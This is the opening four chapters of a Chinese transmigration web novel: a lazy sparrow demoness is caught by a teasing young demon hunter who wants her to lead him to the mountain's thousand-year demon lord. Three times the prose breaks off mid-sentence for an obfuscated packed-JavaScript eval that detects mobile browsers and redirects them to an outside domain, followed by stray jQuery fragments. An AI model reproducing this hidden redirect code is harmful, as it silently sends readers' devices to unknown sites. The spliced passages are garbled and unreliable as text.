《混邪大魔王他脑子有病[穿书]》 1. 001 日头晒得很。 满月瘫在树荫下的青石板上,光影在她荼白小衫上游移,她用一把新折的蒲扇盖住脸,活像条搁浅的咸鱼。 "啪!" 忽然有人伸脚踢了下她。 满月睁眼,从蒲扇的缝隙看见一双金丝缠枝的玫红绣鞋,绣工极为精致,其上缀着一颗明珠,熠熠生辉。 “又偷懒。”蔓娘子伸手点点她眉心,腕上银镯撞出清脆声响,“天还这么早,你难不成躺在这里学老龟精晒龟壳?” 满月拿走脸上的蒲扇,眼睛弯成月牙,声音软软糯糯,充满了求饶的意味:“蔓嬢嬢。” “还知道叫我。”蔓娘子没好气,“你少来套近乎。再看到你偷懒,今天的晚饭就别吃了。”说着她停了停,狠狠心,“明天的也别想吃。” 满月连忙起身。她可怜兮兮地看着蔓娘子,顺势抱着她的手臂摇晃:“真不是我想偷懒,只是这时节山道上人少,我不闲着也没事可做嘛。” 蔓娘子被哄的嘴角差点压不住,但转念一想她近期的表现,到底还是硬下心来,斜睨着她道:“你怎么不学学隔壁的小莲,山上人少,人家早早就跑到山下去找人了。你呀,就是犯懒犯多了。” ……怎么当妖还是逃不了被卷生卷死的命运。 满月无言以对,只好拖长了尾音:“我知道了,我这就去。” “你别不情愿。”蔓娘子从小带大她,这点小心思岂能被瞒过,“你今年又快从戊字班掉下去了,再这样下去……” 满月很给面子地接话:“会怎么样?” 蔓娘子捏捏她的脸颊:“小心被阴司大人吃掉。” 这句话满月自小听到大,一开始还会害怕,到了现在已然是死猪不怕开水烫。 不过为了不惹蔓娘子生气,满月还是收拾好自己那堆小东西准备往山下去。 蔓娘子到底嘴硬心软,在背后叮嘱她一句:“天黑了就回来,当心遇到除妖师。” 满月应了一声,头也不回朝她招了下手:“我晓得了。” 蔓娘子目送她打不起精神的身影,摇了摇头,叹口气:“这孩子……” 满月这样消极怠工,并非没有原因。 满月是一只雀妖,时年十六岁。她自小被遗弃,蔓娘子捡到她后,就带她一起生活在三危山。三危山和传说中的灵山不一样,这里没有西王母,也没有青鸾神鸟,只有一个把控着周遭一带的凶残大妖度母阴司,以及他的一群手下。 蔓娘子正是其中之一。 满月作为一个普普通通的小妖怪,一没过人的天赋,二没惊艳的姿容,原本很满意自己现在的生活,虽然是个没什么存在感的小透明,但比上不足比下有余。 直到两年前。 她不小心摔下山崖,误打误撞恢复了前世的记忆,才发现自己原来是穿到了小说的世界里。 那本小说叫做《斩妖》,以男主程南楼为第一视角展开的无cp文。男主是除妖师,主线打怪升级,副线是主角团打打闹闹的友情向展开,没有乌七八糟的开后宫,也没有意义不明的女角色描写,有的只是对匡扶正义的渴望。 好巧不巧,满月陡然发现,自己也是他匡扶正义的一环。 她不仅成为了原著里的反派,还是反派中的炮灰,第一批死连名字都没有的那种。 当初看书的时候有多爽,现在就有多想骂街。 是的,度母阴司正是主角团开篇遇到的第一个大boss。 度母阴司乃是雌雄同体的千年大妖,不光吃人还吃妖,为祸一方。别说眼里容不得沙子的正派主角,就连满月这么个在他手下讨生活的小妖都觉得他罪大恶极。蔓娘子常挂在嘴边的警告不光是说说而已。 自从觉醒了前世的记忆,满月兢兢战战,时常会觉得下一秒与就遇到上山除妖的主角团,然后迎来飞灰湮灭的下场。 她曾想过逃走,但又害怕会牵连到蔓娘子,毕竟度母阴司阴晴不定的古怪性子是出了名的,何况她一介妖身,下山遇到除妖师更无处可逃,挣扎过后,只得作罢。 就这样年复一年,月复一月,山头的花开了谢,谢了开,满月还是没等来主角团。 反而在漫长的等死过程中,她从一开始的夜不能寐,变成了如今的混吃等死,秉持着阎王要她三更死,二更她就抹脖子的优良观念,成功发展到该吃吃该喝喝,凡事不往心里搁。 这也导致了她做什么事都提不起精神来。 尤其是面对自己的“工作”。 度母阴司当然不是白白养活他们这群小妖。他恶名在外,不光因为他对人差,还因为他对妖也极差。类比一下就是前世的黑心资本家,不遗余力榨干每一只妖怪的剩余价值。武力值高的,抓大妖回来进贡;年轻貌美的,吸取男人的精气进贡;轮到他们底下这群年纪小的,既没能力也没相貌,就骗骗过路人的钱财宝物来上交。 满月是怎么也没想到,自己前世这么个一辈子没干过坏事的良好公民,转生一次直接奔着刑.法去了。 想到这里她没忍住叹了口气。 但又能怎么办,不照着做她还真有可能被度母阴司拆吞入腹。 毕竟三危山有句名言,“阴司大人从来不养无用的妖”。 满月踢踢脚边的小石子,沿途遇上一只小黄雀,周身圆滚滚,糯糯呼呼。 这是满月两年前摔下山崖时顺手救回的幼鸟,因为长的太胖,她索性给它取名小肥啾。 小肥啾叽叽喳喳,主动落在了她的肩头。 满月摸了摸小肥啾的头,它啾啾叫几声,她跟着点点头,双方进行着无障碍交流。 “东面人最多吗?”满月奇道,“附近有村子在赶集?” 小肥啾摇摇头:“啾啾啾。” 小肥啾也不知道为什么。 满月思索片刻,决定还是冒险而行。 干过这一趟,她少说十天半个月不用再下山。 满月又摸了下小肥啾的头,从自己随身携带的竹筒里倒出几粒灵谷给它:“省着点吃,等我再多挣点,你就能化形了。” 小肥啾叼起灵谷,开心地在她头顶飞了一圈,扑棱着翅膀飞走了。 满月从东面下了山,刚到半山腰的茶棚,就看见里里外外聚了许多人。 满月从头到脚检查了一遍,确定没有泄露半分妖气,才往茶坊去。 “我要一盏白茶,半张油饼。” 茶棚的伙计正低头擦桌子,听到一个脆生生好听的声音。 他抬头,只觉耳目一新。面前是个小姑娘,穿着件荼白月桂纹小衫,发髻上绑着白绒球,除此之外别无旁饰,模样算不上大美人,却很是灵动可爱,只是笑盈盈站在那里,就让人无端心生好感。 茶棚伙计比满月大不了几岁,一时不察对上她满是笑意的眼,竟有些害羞起来,忙转开头,对着里面道:“一盏白茶,半张油饼。” 说完引她进去。 满月自是知道自己的亲和力一向过人。趁这个机会,她装作懵懂无知地打探起消息来:“这里怎么这么多人?附近有什么集会吗?” 伙计是个老实人,听她这么问不疑有他,据实回答:“看样子你不是本地人吧?你是不知,这山顶住着个大妖,常常祸乱四方。听说附近的春阳镇又死了三个人,而且还都是富户,所以他们凑了钱,请了除妖师来。” 满月若有所思点点头,心中却不以为意。 度母阴司坐拥山头多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995405|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年,这样的事早不知发生了多少次。他毕竟是个千年道行的大妖,除了运气极佳的主角团,岂是那么容易被对付的。 不过她这样的小妖怪还是得避避风头。 满月不动声色,笑得很甜:“原来如此,怪不得这样热闹。” 伙计又红了脸。 白茶和油饼都上得很快,满月打定主意吃完这顿就先回去。 茶棚膳夫的厨艺相当不错,至少比蔓娘子的黑暗料理好吃多了。 满月美美饱餐一顿,留了碎银起身。她刚走几步,身后忽然有人道:“姑娘留步。” 满月一开始没反应过来是在叫自己,直到将才的伙计也喊了她,才停下脚步。 她疑惑回头,看见身后站着个少年,左不过比她大两三岁的样子,身量很高,穿着件蓝色衣衫,身上挂着一串漂亮的铃铛,看起来像是除妖师,长着一张平平无奇路人脸,路人到过目即忘的地步。 路人脸好,路人脸说明不会是主角团的人。小说主角团都是天人之姿,作者恨不得用八百字来描写他们的美姿容,导致满月一见到长得好看点的人就ptsd要退避三舍。 满月对长相普通的人都心存好感,见对方年纪不大,应当不是资历较深的除妖师,语气十分和善:“有什么事吗?” 路人脸也同样笑得和善:“你的东西掉了。” 满月低头一看,果然见脚边滚落着一个竹筒,正是她用来放灵谷的那个。 果然,路人脸都很善良。 满月十分真挚地道了谢,少年笑得眉眼弯弯:“不客气。” 满月拾起竹筒离开了。 好不容易下山一趟,她不想那么快回去,在周围逛了逛,顺带远远刺探了敌情。 别看除妖师不少,有能耐的没几个。 不。 还是有一个的。 远处人群中央坐着个白袍道人,白发白髯,正阖目打坐,一看就仙风道骨,资质不凡。 满月吐吐舌头,心有余悸地退后几步,暗想还好自己没往那边凑,要不然今天还真不好说能不能回得去。 满月拨弄了下腕上的玉珠,当即决定调头原路返回。 路上她在想着该怎么跟蔓娘子交代。她已经好几日颗粒无收,她自己躺平无所谓,蔓娘子却着急得很,生怕那个度母阴司犯病,心情不好拿她打牙祭。 正苦恼着,先前的小肥啾又飞来了,落在她的肩膀上,啾啾叫了几句。 满月的脚步顿了一顿。她几不可闻地嗯了一声,示意自己知道了。 小肥啾又飞走了。 满月没空再想别的,她若无其事继续走着,却分心留意着自己的身后。 刚才小肥啾和她说,有人在跟着她。 满月猜测是刚才有除妖师注意到她了。不过好在这里是三危山,地势复杂险峻,她一个本地妖都时不时会迷路,更别说这些外地人。 满月一改平直的路径,专往七拐八绕的地方走。不知走了多久,日头没那么晒了,和风旭日,已是快到了夕阳西下的时候。 满月也有些走累了,她停在一个树墩歇歇脚。 小肥啾都没跟上,想来那人也被她甩掉了吧。 又等了片刻,满月留心听了听,确定没有旁的声音。 她仰头看了眼天边,大致判断好时间,又拐回正路。 从荒芜杂草中穿行而出,满月提着心压低了苇草,谨慎地左右各看了看,见没人跟来,方才彻底放下心来。 就在她以为危机暂除,准备打道回府时,身后却不期然传来一个还算熟悉的声音,慢悠悠的,与之前一样,带着笑意。 “姑娘是在找在下吗?” 满月怔在原地。 2. 002 这个声音…… 满月回头,瞧着不知何时出现在自己身后的人,一时间说话都不利索:“你,你怎么在这儿?!” “你的路引得不够好。”路人脸少年弯眼笑着,无辜又纯良,“我差点就跟丢了。” 满月瞬时心如鼓擂。 她万没想到,跟在她身后的竟然会是好意提醒她丢东西的路人脸! 满月的是非观受到冲击。她强迫自己冷静下来,抱着也许对方还没识破自己妖身的微渺希望,先发制人:“你,你是什么人!好端端为何要跟踪我!” 少年歪了下头,似乎真的在考虑该怎么回答:“我的身份应当不难猜出吧。至于为何要跟踪你——” 少年弯起唇角,似笑非笑:“姑娘应当心知肚明。” 这是连装都不肯装一下了。 满月无暇顾及自己究竟是何时露了马脚,她满脑子只有一个想法: 跑! 满月不动声色后退了一步:“我才不知道你在说些什么奇怪的话。” 少年略挑了下眉,并不着急拆穿她,反倒饶有兴致看她还能如何狡辩。 满月却早在心中拿定主意。她偷偷在手上拈了道术法,趁着这个空档,抬手打了出去。而后也不及看有没有打中,就直接调转方向,头也不回拔腿往山上跑。 她脚程很快,可以说打遍三危无敌手。在妖力加持下,她不信这个小除妖师能再追上她。 耳边风声呼啸而过,不知跑了多久,满月估摸着差不多,才微喘着气停下来。 她再回头看,身后早已是空无一人。 就说这群除妖师有能耐的没几个。 满月松了一口气,她拍拍身上沾到的枯枝残叶,转过身来,又差点吓得大叫。 “你你你你……” 还真是阴魂不散啊! 路人脸少年靠在树干上,双手叠抱在胸前,垂眸瞧着她,很是好奇:“你真身是什么?还挺能跑。” 满月想也不想就要再逃。 然而有了前车之鉴,这一次路人脸没给她机会。 他手一抬,一道金光乍现,满月顿时发现自己的双手仿佛被什么东西套牢,再动弹不得。 满月瞪大了眼睛,震惊得语无伦次:“你……我……这,这是什么回事……” 照理来说满月这些年见识过的除妖师不算少,矮的高的胖的瘦的,大多都是徒有其表,技艺平平。 这么厉害的,她还真是头一次遇见。 少年似乎被她的震惊取悦到了。 他笑起来,慢条斯理从倚靠的树干上直起身:“这是缚妖索,你莫要想着再逃,否则将遭噬心之痛。” ……这也太狠毒了。 满月耷拉下脑袋,彻底认了栽:“……你打算如何处置我?” 少年除妖师摸摸下巴,瞥她一眼,慢悠悠道:“我还没想好。但按我派门规,应是将你原地炼化。” 满月瞪圆了眼睛,大喊冤枉:“何至于此!我,我没杀过人。” 少年除妖师瞧着她:“我知道。” 满月:? 少年笑眯咪:“以你的妖力法术,要想杀人,怕是也难。” 满月:…… “你既然知道,还要将我炼,炼化吗?”满月戒备地望着对方,说到那个恐怖的词,没忍住磕巴了下。 少年稍敛了笑,看向她:“想活命?” 满月毫不犹豫点点头。 至少不要用炼化这么可怕的方式啊! 少年略一颔首:“也不是不可以。” 他这么说,反倒让满月警惕起来。 他会这么好心? 果然,少年下一句便是:“带我找到度母阴司,我就不杀你。” 满月一时只觉得自己没了任何世俗的欲望。 她面无表情:“……那你还是杀了我吧。” 这回轮到少年一怔。 怎么说,比起被度母阴司吃掉,还是被除妖师炼化好些,顺道能得一得度化,下辈子投胎别再这么倒霉。 满月在心中默默安慰自己。 少年看出她满心丧气,已然是打算破罐破摔了,不免奇道:“你对度母阴司这么忠心?” 满月险些被自己的口水呛到,她指了指自己:“忠心?” 这明明是害怕好吗! 少年终于理解了她的言下之意,了然地点点头:“确实,你看起来也不像个有气节的。” ……满月气得想吐血。 “有我在你怕什么?”少年不以为意。他唇边噙着抹笑,居高临下微垂着眼,真有几分不知天高地厚的倨傲在。 满月简直想按着他的脑袋让他照照镜子。 度母阴司可是千年大妖!也只有主角团有这个能力收服!你一个初出茅庐的毛头小子算什么东西啊! 满月觉得可能是自己太过弱鸡,从而助长了对方的盲目自信。 大约是懒得掩饰,少年从她脸上很轻易就读出了她的心声。 他仍旧笑得很纯良:“你不相信?” 满月已经被他这样人畜无害的笑容骗过一次,自然不会傻乎乎承认。 她勉强牵了下嘴角:“怎会。” 少年:“那就带我去找度母阴司。” 满月想也不想:“不要。” 一阵风卷着枯叶拂过,空气凝结得有些尴尬,两人一时俱是无言。 满月叹了口气,苦口婆心劝说他:“你别以为轻松制服了我就算厉害,我妖力一直都是垫底,整个山头没几个比我还差的。” 少年:“我知道。” 满月:“……” “阴司大人比一千个我,不对……”满月顿了顿,用了夸张手法,“比几万个我加起来还要厉害。” 少年却不解:“可是几万个你加起来也没多厉害啊。” ……满月杀了他的心都有了。 见说不通,满月也懒得再讲下来。她原地坐下,闭上双眼,选择破罐破摔:“那你炼化我吧。” 少年抬了下眉,打量起地上的人。她刚才跑得太急,又专往犄角旮旯处钻,白净的脸上蹭了好几道灰,发髻上的白绒球也不知丢到了何处,耷拉下来,像一只战败的垂耳兔。 少年想戳下她的发髻,但最后还是忍住了,只问:“你真身是兔子?” 满月倏地睁眼,一脸警惕地盯着面前的人:“士可杀不可辱,你,你该不会还要将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995406|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我打回真身吧?” 少年摇了下头,笑道:“只是好奇。” 满月现在一看见他笑就发憷。 她缩起来,将自己抱成一团:“你打算什么时候动手?” 少年不逗她玩了。 他转过身:“先随我下山吧。” 啊? 满月手上还被缚妖索套着,他一走,她就被迫跟着站了起来。 “……你不杀我了?” 少年回头瞧她一眼,唇边始终挂着一抹笑,让人揣测不出他真实的心意:“看我心情。” 满月:…… 少年没有带她返回东面的茶棚,而是转向去了西面山脚下的一处客栈。 这里背靠附近几个富庶的大镇,尽管有大妖吃妖的传闻,过路行人还是络绎不绝。 折腾了一下午,日头将息,黄昏的暮色蔼蔼。 客栈的小二迎出来,缚妖索已经被隐去,凡人轻易看不到,只以为他们都是受邀前来的除妖师:“二位打尖还是住店?” “住店。” 小二的目光在他们之间晃了晃:“两间还是……” 满月:“两间。” 少年:“一间。” 两人同时出声。 小二被整糊涂了,摸摸脑袋,一时不知该如何是好。 少年略一挑眉,笑着看向满月。 满月不情不愿改了口:“还是一间吧。” 小二应了声,拱手将两人请上楼。 客栈房间不大,陈设简单,一张床榻,一张木桌,两把凳子。 满月坐在案几前,手支着脸,百无聊赖摆弄着案几上缺了角的茶盏,时不时抬头瞧一眼坐在她对面的路人脸少年。 少年却并不回应。 不多时,适才的小二端了少年点的吃食上来,一叠芸豆,一碗点了香油的阳春面。 “客观慢用。”小二将面碗放下,瞧了瞧眼神暗戳戳飘过来的满月,试探地问了句,“这位姑娘……” 少年想也不想就打断了他,只递上不多不少三枚铜钱:“多谢。” 小二未说完的话硬是被堵了回去,他捏好三枚铜板:“您慢用。” 小二走后,少年忽略掉对面的怨念眼神,自顾自吃起来。 满月和他斗智斗勇了一下午,少说也绕了有大半个山头,如今是又饿又累。 她眼巴巴瞧着那碗点了香油的阳春面,咽了咽口水,还是没忍住问他:“好吃吗?” “尚可。”见她熬不住先开了口,少年略弯了眼睛,笑着看她,“想吃?” 满月纠结了下,到底是身体更为诚实,先不合时宜地咕叽叫了一声。 满月捂住肚子,略有些不好意思。 少年若有所思:“妖也会肚子饿?” 满月忍住翻白眼的冲动,哼了一声,反唇相讥:“那你这个修道之人,不是还耽于五谷杂粮?” 少年倒不怎么介意她的小脾气,他放下手中食箸,用帕子擦了擦嘴,动作从容,举止有度,看得出应是出身不差。 “想吃可以。”少年微垂下眸,唇边噙着抹似是而非的笑,慢条斯理瞧向她,“带我去找度母阴司,我带你吃顿好的,如何?” 3. 003 她就知道。 满月装作没听到的样子。 她走到床榻边,一头栽到被子里,声音含糊不清:“我困了。” 少年也没想这么快就能攻破她的心防,他不以为意地扬了下眉,“不吃了?” 满月可不想吃他的糖衣炮弹。 她用被子蒙着脸,赌气似地讲:“不吃了,我不太饿。” 少年不管她了,将桌上的残羹冷炙收拾妥当,端起托盘送往楼下。 他将走没多久,满月才后知后觉一件事。 她动动手腕,并没有先前被捆绑的感觉,甚至少年走了这么久,她都没有被拖拽起来。 ……难道那小子善心大发,收了她的缚妖索? 满月来了精神。她一骨碌从床上爬起,屏住呼吸,见外面没有动静,大着胆子推开门,发现外面并没有贴符纸和设法阵。 满月闪身躲进旁边暗处的小隔间,一颗心砰砰直跳。她竖起耳朵留心着楼下的动静,只听到一些堂客要酒的声音,并没有人上楼来。 此时不逃更待何时! 路人脸大概是看不起她,没了缚妖索,连她的妖力也不曾封印。 这于满月来说是绝顶好事。 满月支起旁边的扇窗,踩上架子,纵身一跃,便是悄无声息地落在地上。 彼时天已经完全黑了下来,像浓墨一般,云雾遮隐,既没有月亮也没有星辰。 满月四下打量一眼,发现自己正身处在客栈后院。院落很小,没有点灯,只有前堂透过来的一点光亮,如同隐没在黑暗中。 所幸满月在夜里的视力极佳。她翻出小院,确认身后没人跟来后,拔腿就往三危山的方向跑。 白日的炎热散去,夜晚的风带着丝难得的凉意。 满月快得像融进了风里。等她一头栽进雾气缭绕的法阵之中,才停下脚步,心有戚戚地望向身后,生怕又和下午一样,从哪里钻出来一个笑意盈盈的路人脸少年。 好在身后无人。 满月这才彻底松了口气。 她一面往回走,一面回想着今天发生的事。 度母阴司占山为王,多年来为祸一方,渐成祸害,应召而来的除妖师数不胜数。今天下午碰到的这个,和以往那些徒有其名之辈都不同。满月虽然整个山头垫底,却没少见过厉害的妖怪,别说是她,就算是蔓娘子在,也不定能在那路人脸少年手中讨得了好处。 这种实力……难不成是主角团的人? 满月冥思苦想半天而不得,实在想不起原著有没有对应的人物,但她有种不算好的预感,总觉得现在这样的日子就快到头了。 满月心绪很是复杂。 一方面她很清楚度母阴司作恶多端,里里外外害了不知多少人和妖,被主角团清算是迟早的事。另一方面在三危山,她又有着割舍不下的存在。 以前祸不临头,她还能勉强骗自己躺平等死,如今大约是预感到那一天越来越近,心头不可避免沉重起来。 做了这么些年的心理建设,她对自己注定赴死的结局早不担心。 可是蔓娘子和小肥啾怎么办呢? 眼睁睁看着她们一起死吗? 满月轻叹一声,一抬头,发现自己终于到了地方。 面前是与周遭一般的荒山野岭,荒草没膝,树影重重,只有三危山上的人才知道其中别有洞天。 满月双手交叠结出法印,红光映起,不出片刻,一道有些模糊的声音传来:“何人夜闯?” 满月听出这声音是住在她隔壁卷王的小莲,忙开口道:“我是满月,今天……今天有些事耽搁,回来晚了,能不能劳烦小莲姐姐帮忙开启法阵?” 她自报家门,对面的小莲顿了一顿,声音再响起时,语气却微妙地变得更冷淡了些:“戌时已过,法阵不便再开。” 三危山素来定有宵禁,过了戌时入内的虚空阵就自动关闭,只出不进。 语毕,红光变得黯淡,满月知她准备离开,急道:“可我有重要的事禀告蔓娘子,小莲姐姐能不能通融一二?” 满月想着至少把路人脸的事先告知蔓娘子,让她早做打算。小莲听她这样讲,却误以为她是恃宠而骄,拿蔓娘子来施压。毕竟所有人都知道,满月是蔓娘子一手带大,待她自来不同旁人。 小莲冷笑一声,颇有些阴阳怪气:“画境大人有令,蔓娘子前去赴会,今天晚上大概是回不来了。你既有事相报,不如等明日法阵开启再回来说,于情于理都合规矩。” 言罢,不顾满月哀求,红光斩钉截铁被切断。 没了这道光,周遭重新落入黑暗之中,无星无月的夜,一团漆黑。 满月万没想到自己好不容易逃出来,临了却被拒之门外。宵禁的规矩虽严,有些小妖怪天性贪玩,回来晚了也情有可原,往日里蔓娘子都是睁只眼闭只眼,偷偷把他们放进来就算作罢。 满月又试着结了几次法印,皆无人理会。 一阵风刮过,四野寂静无声。 满月垂头丧气。她就近找了个还算干净的地儿坐下来,双手托着脸。 其实她一直都知道小莲对她很不满,原因不难猜,她向来对自己的“工作”不上心,三天打鱼两天晒网,反而是一年前才上山的小莲积极进取,卷生卷死,直接将三危山的业绩标准带高一倍,所以在她看来,满月这样无能的小妖怪合该流放下山,自生自灭才好,奈何蔓娘子总是保着她,因而明里暗里对她更添了不少怨气。 夜晚的三危山,没有星月点缀,黑得有些瘆人。 满月还从没在宵禁后留宿外面过,她抬头看着黑黝黝的树木,冷不防想起小妖怪里瞎传的诡异怪谈,说宵禁后的三危山外很危险。具体怎么个危险法没细说,只讲了隔壁家谁谁就是宵禁后没回来,然后永远回不来了。 不少小妖怪都曾在宵禁后跑出来偷玩,满月对这样的说法一向不以为意,只以为是有大妖故意编故事吓唬他们,如今却不知怎么,总觉得毛骨悚然。 又刮来一阵风,周遭似乎比之前冷了许多。 她裹紧身上的衣衫,抱着自己缩成一团。这里离入口最近,换言之就算有什么危险,也应当是最安全的地方。 长夜寂寂,满月打了个呵欠,渐渐有些发起困来。 她拍拍自己的脸颊,努力想要打起精神,然而越是努力,眼皮就越不受控制地往下坠。 终于她熬不住了,头埋在怀里,心里再三告诫自己不能睡着,可还是受不住梦乡的诱.惑,眼睛一闭就沉沉睡去了。 这一睡不知过了多久,迷迷糊糊中,似乎有什么东西在戳她的头,力道倒是也不重,但总是恼人的。 满月吓了一跳,倏地睁开眼:“别吃我!” 这一句几乎是本能反应。 戳她那人没忍住笑出了声:“谁吃你?度母阴司?” 这个熟悉的声音…… 满月僵硬着回头,果然看到了比厉鬼更让她害怕的东西。 蓝衣少年似笑非笑:“才离开半个时辰,不认识我了?” 满月用余光瞥了眼山头,云雾不知何时已经散去了,月上正中,确实离她逃出客栈没过去多久。 满月不知道该说什么,皮笑肉不笑:“……好巧。” 言罢她起身就要往深山里蹿,然而没走几步却被绊住了手脚。 腕上的金光映出,原来缚妖索还在。 满月怔住:“这是……” 少年笑着,好不和蔼可亲:“我的缚妖索与外头那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995407|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 除妖师的可不一样,只随我心意变化。” 换言之无论她走得多远,他都能找得到她。 满月这才恍然大悟,原来不是他疏忽了,他是故意放她离开的,目的是为了跟在她后面,从她身上找出入山的办法。 好深的心机! 那他也一定看到了她被拒之门外的狼狈模样。 少年并不打算掩盖自己的行为,他漫不经心笑道:“原来在妖类之中你混得也不怎么样。” 满月:“……” 会不会说话! “不过她的话倒是帮了我。”少年笑意微敛,夜色之下,黑眸粼粼,竟衬得有几分凉意,“等到天亮,你就有法子入山了,对吗?” 他果然听到了小莲的话。 满月有气无力:“我说不对,你会相信吗?” 少年笑而不语,他转过身原路返回,满月则不情不愿跟在他身后。 回到客栈,楼下已经空无一人,连伙计都歇下了,只有掌柜还在柜台后扒拉着算盘清账,见两人进来,认出他们是房客,这些除妖师本来也都个个行迹飘然不怎么正常,趁晚出去降妖除魔也不罕见,便朝他们点了点头,没放在心上。 倒是少年在经过柜台时,脚步一顿,道:“掌柜,后厨可还有什么吃的?替我拿上两碟来,明日一道算进房钱。” 掌柜停住笔,点头哈腰:“灶上的厨子回去了,我这里还留了两盘馒头,原想着晚上算账饿了自己吃,若是客官不嫌弃,我匀一盘给客官可好?” 少年没什么所谓,他转眸看向一旁垂头丧气、明显没注意到他们对话的满月,问她:“可好?” “啊?”满月回过神来,眨眨眼,“什,什么?” 掌柜小声提醒道:“这位客官问您吃不吃馒头。” 这是笃定她明日一定帮得上忙,索性让她吃饱好上路了? 满月一时气闷,她赌气刚想拒绝,肚子却不合时宜地叫了一声。 满月:“……” 少年眉眼弯弯:“有劳了。” 掌柜很快将热气腾腾的馒头端了上来,没有旁的吃食,辅佐一叠腐乳小菜。 满月饿得前胸贴后背,也顾不上骨气不骨气的,捧着馒头津津有味,很快吃了个精光。 吃饱喝足,满月低落的心情好了不少,她放下茶盏,一抬眼就看到对面的人手撑着脸,笑意盈盈也在看她。 满月连忙转过身子,挡住了他的目光。 少年不为所动:“我头一次见你这么能吃的妖。” 满月冷哼一声:“那还是你见的太少了,我们妖都是吃人的,饭量哪会小。” 言罢满月的视线瞥向房间中唯一的床榻,目光游弋:“今晚……怎么睡?” 满月看他不像个缺钱了,之所以只要一间房,多半是为了看住她。 实际上经过先前的事,满月已然没了逃走的心思,就算要逃,也不会是今天。 少年装模作样地打了个呵欠,没理会她,眼看就要自顾自去睡觉了。 满月立即警惕起来,房间只有一张床,他们二人之间,势必有一个得打地铺。 满月深谙先下手为强的道理,她起身,三步并做两步,抱着被子就滚进了床铺中。 奔波了一天,着实是累了。 满月探出半张脸,黑白分明的眼睛盯着少年,甚是无辜:“不好意思,今晚我睡这里。” 言毕她将被子整个盖住了脑袋,打算来个掩耳盗铃,无论少年说什么她都不会将床榻让出去。 算盘打得不错。 满月心满意足地闭上眼,正准备好好休息一下,明天再去烦恼明天的事,却忽然感觉身侧轻轻一陷。 满月猛地从被子里探出头来。 4. 004 果不其然是可恶的路人脸。 “你干什么?” 少年略一挑眉,一脸的理所应当:“还能干什么,当然是睡觉了。” “你……”满月语塞,“你们凡人不是最重男女大防吗?你怎么……” 少年弯眼笑起来,若不是满月知道他的德行,只怕真要被他这副纯良无辜的样子骗了去:“可你也不是凡人。” 满月:“……” 也不能说一点道理都没有。 少年阖目躺下,摆出一副要休息的姿态:“要不然自己去打地铺,要不然就睡觉。明日早起,到时别说我没提醒你。” 满月听他提起这件事就崩溃:“就算我想带你去找度母阴司也找不到啊。我这样的小妖怪,怎么可能知道阴司大人在什么地方。您行行好,看在我没杀过生的份上,能不能放我一马?” 少年睁开眼,他虽生着一张过目即忘路人脸,眼睛却出奇地好看,黑眸漆漆,映着几分捉摸不透的笑意:“不能。” 满月一口气堵在胸口,不上不下。 “我只需要你带我找到度母阴司。”少年重新闭上眼,“至于你能不能找到,不关我的事。” 满月:“……” 满月还是头一次遇见这般不讲理的人。她害怕再说下去自己直接被气死,当即住了口,用被子将自己裹成一团,背对着少年贴紧墙根,不理他了。 再是如何,这一天折腾太多,确实身心俱疲。 满月虽是暗自告诫自己要多加警惕,但架不住困意昏昏袭来,未多时,她便睡去。 一夜无梦,直至天明。 清晨的阳光洒落在她的眼皮上,迷迷糊糊中,似乎有人在戳她的脸。 和昨晚露宿荒郊野外不同,满月睡意朦胧,没什么防备,她嗫喏一句,小声抱怨道:“我一会儿就起,小肥啾你别戳我了。” “小肥啾?”戳她那人很是好奇,“你们妖也豢养灵宠?” 这话好生奇怪。 满月睁开眼,少年除妖师已经穿戴齐整,见她醒来,他好整以暇地在心中默念两个数,果不其然听到满月失声惊叫:“你你你你……” 少年笑意盎然:“需要我帮你回忆昨天发生过的事吗?” 威胁!这绝对是威胁! 满月彻底清醒过来,她深吸一口气,知道眼前这人百分之一百是故意的。 “今天我会带你上山。”说起正事,少年稍敛了笑,他直起身来,“我在楼下等你。” 满月气鼓鼓瞪着他,如果眼神能杀人,恐怕眼前的少年早已死了几百次。 少年懒得理会,走至门边,他似是想起什么,风轻云淡补了句:“来晚了就没饭吃了。” 满月自来不是个与自己过不去的人,经过一晚上的养精蓄锐,她深知赌气是亲者痛仇者快的事,有饭吃当然不会再选择饿着。 简单收拾过后,满月下了楼。 别看这客栈不大,大堂却是挤满了人,闹哄哄的,均是在用早膳。 这些人里十有八九都是除妖师。 满月心下惴惴,面上却尽量装得风平浪静。她打量四周,寻找着路人脸的身影。 然而不等她寻到,身后先有人道:“这位姑娘……” 满月不想对方是在喊自己,直到又叫了一声,她才后知后觉回过头。 